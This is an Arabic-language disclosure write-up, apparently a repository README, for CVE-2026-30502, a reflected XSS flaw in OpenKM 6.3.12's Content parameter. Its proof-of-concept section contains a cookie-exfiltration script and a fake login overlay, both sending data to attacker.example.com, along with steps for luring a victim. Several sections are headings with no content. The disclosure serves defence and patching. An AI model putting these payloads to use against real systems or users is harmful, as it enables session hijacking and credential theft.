🛡️ CVE-2026-30502 — XSS منعكس في OpenKM الإصدار 6.3.12

📌 جدول المحتويات

• نظرة عامة
• تفاصيل CVE
• المنتج المتأثر
• وصف الثغرة
• تحليل السبب الجذري
• تقييم التأثير والمخاطر
• إثبات المفهوم (PoC)
• المعالجة والتوصيات
• الجدول الزمني للإفصاح
• المراجع
• حول الباحث

🔍 نظرة عامة

يوثق هذا المستودع الإفصاح المسؤول عن CVE-2026-30502، وهي ثغرة Cross-Site Scripting (XSS) منعكس تم تحديدها في OpenKM الإصدار 6.3.12 — وهو نظام إدارة مستندات مفتوح المصدر يستخدم على نطاق واسع في بيئات المؤسسات والحكومات.

توجد الثغرة في معامل Content، الذي يعكس إدخال المستخدم مرة أخرى إلى المتصفح دون تنقية أو ترميز مناسب. يمكن للمهاجم صياغة رابط ضار يحتوي على نصوص JavaScript مضمنة وخداع الضحية للنقر عليه، مما يؤدي إلى تنفيذ البرنامج النصي داخل جلسة المتصفح الخاصة بالضحية.

⚠️ الخطورة: متوسط–مرتفع | متجه الهجوم: شبكة | الامتيازات المطلوبة: لا شيء | تفاعل المستخدم: مطلوب

📋 تفاصيل CVE

📦 المنتج المتأثر

OpenKM هو نظام إدارة مستندات مفتوح المصدر ومجاني يوفر واجهة ويب لإدارة وتدقيق وتوزيع مستندات الأعمال. يُستخدم من قبل المؤسسات والهيئات الحكومية والمؤسسات التعليمية في جميع أنحاء العالم.

• اسم المنتج: نظام إدارة المستندات OpenKM
• الإصدار المتأثر: v6.3.12
• موقع البائع: https://www.openkm.com
• الفئة: نظام إدارة المستندات (DMS)
• اللغة / البيئة التقنية: Java (JSP / Spring Framework)

🧨 وصف الثغرة

تم تحديد ثغرة Cross-Site Scripting (XSS) منعكس في OpenKM الإصدار 6.3.12 عبر معامل Content. يفشل التطبيق في التحقق من صحة أو ترميز الإدخال الذي يقدمه المستخدم قبل عكسه في نص استجابة HTTP، مما يسمح بحقن نصوص JavaScript تعسفية وتنفيذها في متصفح الضحية.

على عكس XSS المخزن، لا يتم تخزين حمولة XSS المنعكس في قاعدة البيانات — بل تحمل داخل رابط مصمم. يعتمد الهجوم على خداع الضحية للنقر على رابط ضار (يتم تسليمه عبر البريد الإلكتروني أو وسائل التواصل الاجتماعي أو حملات التصيد)، وبعدها يتم تنفيذ الحمولة بصمت في المتصفح بسياق جلسة الضحية.

تدفق الهجوم

مهاجم يصمم رابطًا ضارًا
        │
        ▼
ضحية تنقر على الرابط (تصيد / هندسة اجتماعية)
        │
        ▼
المتصفح يرسل طلب GET/POST مع الحمولة في معامل `Content`
        │
        ▼
OpenKM يعكس الإدخال غير المنقى مباشرة في استجابة HTML
        │
        ▼
المتصفح يوزع وينفذ JavaScript المحقون
        │
        ▼
اختطاف الجلسة / سرقة بيانات الاعتماد / اختراق الحساب

🔬 تحليل السبب الجذري

تنتج الثغرة عن فشل التطبيق في فرض ضوابط أمان الإدخال والإخراج على معامل Content:

رابط من صنع المستخدم ──► معامل Content ──► [لا تحقق]
       ──► منعكسة في استجابة HTML ──► [لا ترميز]
              ──► المتصفح ينفذ البرنامج النصي ──► اختراق الحساب

💥 تقييم التأثير والمخاطر

يمكن أن يؤدي استغلال هذه الثغرة بنجاح إلى:

🧪 إثبات المفهوم (PoC)

⚠️ إخلاء مسؤولية: المعلومات التالية مشتركة بدقة للأغراض التعليمية وبحث الأمن السيبراني وفقًا لمبادئ الإفصاح المسؤول. لا تختبر أو تستخدم هذا ضد أنظمة لا تملكها أو لديك إذن كتابي صريح بتقييمها.

أمثلة الحمولة (عامة)

// Basic execution proof
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>

// Session cookie exfiltration
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>

// Credential phishing overlay
<script>
  var d=document.createElement('div');
  d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
    +'<input name="u" placeholder="Username"/>'
    +'<input name="p" type="password" placeholder="Password"/>'
    +'<button>Sign In</button></form>';
  document.body.prepend(d);
</script>

بنية الرابط الضار المصمم

https://target-openkm-instance/[vulnerable-endpoint]?Content=<script>alert(1)</script>

خطوات إعادة الإنتاج

1. تحديد نقطة النهاية الضعيفة في OpenKM الإصدار 6.3.12 التي تعكس معامل Content
2. تصميم رابط بإلحاق حمولة XSS بمعامل Content
3. ترميز الحمولة بالـ URL إذا لزم الأمر
4. إرسال الرابط المصمم إلى ضحية عبر البريد الإلكتروني أو الدردشة أو أي ناقل هندسة اجتماعية
5. عندما تفتح الضحية الرابط في جلسة متصفحها الموثقة، يتم تنفيذ الحمولة
6. ملاحظة تنفيذ JavaScript أو سرقة الكعكات أو سلوك إعادة التوجيه

🛠️ المعالجة والتوصيات

للمطورين / البائعين

لمسؤولي الأنظمة

• 🔒 تقييد الوصول إلى OpenKM على الشبكات الداخلية/الموثوقة عبر قواعد جدار الحماية
• 🛡️ نشر جدار حماية لتطبيقات الويب (WAF) مع تواقيع كشف XSS كإجراء تعويضي
• 📊 مراقبة سجلات الوصول لخادم الويب بحثًا عن علامات برنامج نصي غير متوقعة أو حمولات مشفرة في سلاسل الاستعلام
• 🔄 الحفاظ على تثبيت OpenKM محدثًا إلى أحدث إصدار آمن
• 📧 تدريب المستخدمين على توخي الحذر عند النقر على روابط غير مرغوب فيها إلى نظام DMS

📅 الجدول الزمني للإفصاح

اتبعت مبادئ الإفصاح المسؤول الكاملة خلال هذه العملية، بما في ذلك التنسيق مع البائع والمشاركة مع برنامج CVE قبل أي إصدار عام.

📚 المراجع

• 🔗 إدخال MITRE CVE — CVE-2026-30502
• 🔗 NVD — قاعدة بيانات الثغرات الوطنية
• 🔗 موقع OpenKM الرسمي
• 🔗 ورقة غش OWASP للوقاية من XSS
• 🔗 CWE-79: Cross-site Scripting
• 🔗 OWASP Top 10 — A03:2021 Injection
• 🔗 OWASP Java Encoder

👨‍💻 حول الباحث

Dharmendra Kumar هو باحث أمن سيبراني مستقل متخصص في أمن تطبيقات الويب واختبار الاختراق والإفصاح المسؤول عن الثغرات. يركز بحثه على تحديد الثغرات الأمنية الواقعية في البرامج واسعة الاستخدام والإبلاغ عنها بمسؤولية — مما يساهم في تطبيقات أكثر أمانًا للمستخدمين عالميًا.

مجالات الخبرة:

• 🌐 اختبار اختراق تطبيقات الويب
• 🐛 صيد مكافآت الثغرات وأبحاث CVE
• 🔍 اكتشاف الثغرات وتقارير الأمان
• 📋 الإفصاح المسؤول وإبلاغ CVE المنسق

تواصل معي:

⚖️ إخلاء مسؤولية قانوني

هذا المستودع مخصص فقط للأغراض التعليمية والإعلامية. يتم نشر تفاصيل الثغرة وحمولات إثبات المفهوم وفقًا لمبادئ الإفصاح المسؤول. لا يؤيد المؤلف أو يتحمل مسؤولية أي استخدام غير مصرح به لهذه المعلومات. احصل دائمًا على إذن كتابي صريح قبل إجراء اختبار أمان على أي نظام لا تملكه.

🙏 شكر وتقدير

شكر خاص لـ:

• فريق تطوير OpenKM على تعاونهم واستجابتهم أثناء الإفصاح المنسق
• برنامج CVE لـ MITRE لتعيين وإدارة معرف CVE
• مجتمع أبحاث الأمن ومكافآت الثغرات العالمي لرفع مستوى أمان التطبيقات باستمرار